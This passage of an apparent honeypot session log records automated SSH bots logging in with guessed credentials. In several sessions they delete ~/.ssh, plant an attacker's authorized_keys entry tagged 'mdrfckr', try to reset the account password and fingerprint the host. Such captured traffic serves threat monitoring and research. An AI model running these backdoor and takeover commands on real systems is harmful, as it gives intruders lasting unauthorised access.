-l"},{"seq":16,"at":"2026-08-27T13:01:51.859768+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:01:52.188259+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:01:52.998600+00:00","kind":"output","latency_ms":null,"data":" 13:01:52 up 7 days, 9:51, 0 user, load average: 0.07, 0.07, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:01:53.326660+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:01:55.077436+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:01:55.408382+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:01:55.753411+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:01:56.083956+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:01:58.261465+00:00","kind":"output","latency_ms":null,"data":"top - 13:01:58 up 7 days, 9:52, 0 user, load average: 0.07, 0.07, 0.07\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:01:58.585116+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:01:59.077770+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:01:59.408605+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:02:00.094142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:02:00.427623+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:02:01.229660+00:00","kind":"output","latency_ms":null,"data":"suraj"},{"seq":31,"at":"2026-08-27T13:02:01.559091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:02:02.947769+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:02:03.275146+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:02:04.286685+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"suraj","password":"suraj","method":"password","accepted":true,"tier":"other"}]} {"id":"265b032d-a13d-447d-9df1-5490dd850bca","name":"fabled-northern-jerboa","protocol":"http","channel_kind":"http","src_ip":"170.106.187.106","src_port":null,"username":null,"client_version":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:46.446098+00:00","ended_at":"2026-08-27T13:17:13.176493+00:00","ended_reason":"http session idle","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"4e8cccf0-f1d9-4dac-8c76-75c2917cbf7d","name":"golden-blithe-bobcat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40198,"username":"suraj","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:41.155940+00:00","ended_at":"2026-08-27T13:01:42.030400+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"suraj","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0e10a966-e349-401c-acab-556c4b3c698b","name":"snowy-crimson-catbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47534,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:39.111115+00:00","ended_at":"2026-08-27T13:01:40.495591+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1a44aa23-34f2-4ab5-aab8-45dbfbbaff84","name":"ancient-sullen-stoat","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":60000,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:01:22.570271+00:00","ended_at":"2026-08-27T13:01:24.019166+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T13:01:01.867200+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:01:02.310969+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:01:06.755132+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:01:07.648502+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:01:08.095155+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abcd1234\\n49T1zMa1bW7H\\n49T1zMa1bW7H\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:01:08.544700+00:00","kind":"input","latency_ms":null,"data":"echo \"abcd1234\\n49T1zMa1bW7H\\n49T1zMa1bW7H\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:01:08.988724+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:01:09.295042+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:01:09.740270+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:01:10.699535+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:01:11.147227+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:01:12.176580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:01:12.635464+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:01:13.291129+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:01:13.737367+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:01:14.539359+00:00","kind":"output","latency_ms":null,"data":" 13:01:14 up 7 days, 9:51, 0 user, load average: 0.33, 0.36, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:01:14.981274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:01:15.345302+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:01:15.791165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:01:16.648303+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:01:17.109946+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:01:17.387192+00:00","kind":"output","latency_ms":null,"data":"top - 13:01:17 up 7 days, 9:51, 0 user, load average: 0.33, 0.36, 0.32\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:01:17.836665+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:01:18.327761+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:01:18.773808+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:01:19.464597+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:01:19.909160+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:01:20.178832+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:01:20.626764+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:01:22.121144+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:01:22.571120+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:01:23.882032+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"abcd1234","method":"password","accepted":true,"tier":"other"}]} {"id":"dd9ddacc-5394-4a9b-9f5b-df3e4b4b5abb","name":"proud-salty-teal","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":60026,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:05.858991+00:00","ended_at":"2026-08-27T13:01:06.598111+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ac40197a-26d5-40dc-a7e5-d7a2dde51b6d","name":"diligent-crystal-gecko","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":60010,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:03.354170+00:00","ended_at":"2026-08-27T13:01:04.987309+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"67f49b82-14e7-4038-aa0c-5ed39a08c396","name":"drifting-quaint-polecat","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":49366,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:00:35.440520+00:00","ended_at":"2026-08-27T13:00:57.149775+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"1299ead7-4c8d-4d6e-b457-56d7f39f78da","name":"faded-upland-hornbill","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34556,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:00:24.397509+00:00","ended_at":"2026-08-27T13:00:26.219203+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:00:06.802211+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:00:07.092154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:00:10.886316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:00:11.649019+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:00:11.943962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd1\\nEhNfpar1iUkC\\nEhNfpar1iUkC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:00:12.235720+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd1\\nEhNfpar1iUkC\\nEhNfpar1iUkC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:00:12.527901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:00:12.992335+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:00:13.286773+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:00:14.480804+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:00:14.775819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:00:15.697500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:00:15.992594+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:00:16.439409+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:00:16.734370+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:00:17.281036+00:00","kind":"output","latency_ms":null,"data":" 13:00:17 up 7 days, 9:50, 0 user, load average: 0.21, 0.21, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:00:17.574075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:00:17.894831+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:00:18.188122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:00:18.809200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:00:19.103052+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:00:19.907180+00:00","kind":"output","latency_ms":null,"data":"top - 13:00:19 up 7 days, 9:50, 0 user, load average: 0.21, 0.21, 0.15\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:00:20.200910+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:00:20.878367+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:00:21.172611+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:00:21.452853+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:00:21.747038+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:00:22.648908+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:00:22.943670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:00:24.103415+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:00:24.398593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:00:26.136709+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"Passw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"4ece8435-a09b-40d6-80b1-401d239fc981","name":"supple-weathered-lynx","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34560,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:00:09.869482+00:00","ended_at":"2026-08-27T13:00:10.800409+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9d392949-a4e5-4f63-834c-627a707fe5c0","name":"vernal-polar-dingo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":34558,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:00:07.763487+00:00","ended_at":"2026-08-27T13:00:09.291896+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a5fda80f-7664-41f9-a4b0-921f3cd98379","name":"russet-mindful-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":45620,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:00:00.983466+00:00","ended_at":"2026-08-27T13:00:02.535592+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T12:59:42.408825+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:59:42.734243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:59:46.495138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:59:46.862503+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:59:47.187311+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1233218613\\ns2B2DVXiuUhZ\\ns2B2DVXiuUhZ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:59:47.515303+00:00","kind":"input","latency_ms":null,"data":"echo \"1233218613\\ns2B2DVXiuUhZ\\ns2B2DVXiuUhZ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:59:47.842810+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:59:48.701113+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:59:49.027260+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:59:50.083201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:59:50.411437+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:59:51.352294+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:59:51.680089+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:59:52.281364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:59:52.919497+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:59:53.501344+00:00","kind":"output","latency_ms":null,"data":" 12:59:53 up 7 days, 9:50, 0 user, load average: 0.21, 0.19, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:59:53.828426+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:59:54.495955+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:59:54.823392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:59:55.579186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:59:55.906100+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:59:56.547692+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:56 up 7 days, 9:50, 0 user, load average: 0.21, 0.19, 0.25\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:59:56.874302+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:59:57.445457+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:59:57.773543+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:59:58.080366+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:59:58.407938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:59:59.235696+00:00","kind":"output","latency_ms":null,"data":"admin1"},{"seq":29,"at":"2026-08-27T12:59:59.563415+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:00:00.656796+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:00:00.984689+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:00:02.436710+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin1","password":"1233218613","method":"password","accepted":true,"tier":"other"}]} {"id":"64c9ac26-c36e-4ab0-9ec3-98bbcdf0d433","name":"tidal-fringed-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45646,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:45.776744+00:00","ended_at":"2026-08-27T12:59:46.386320+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 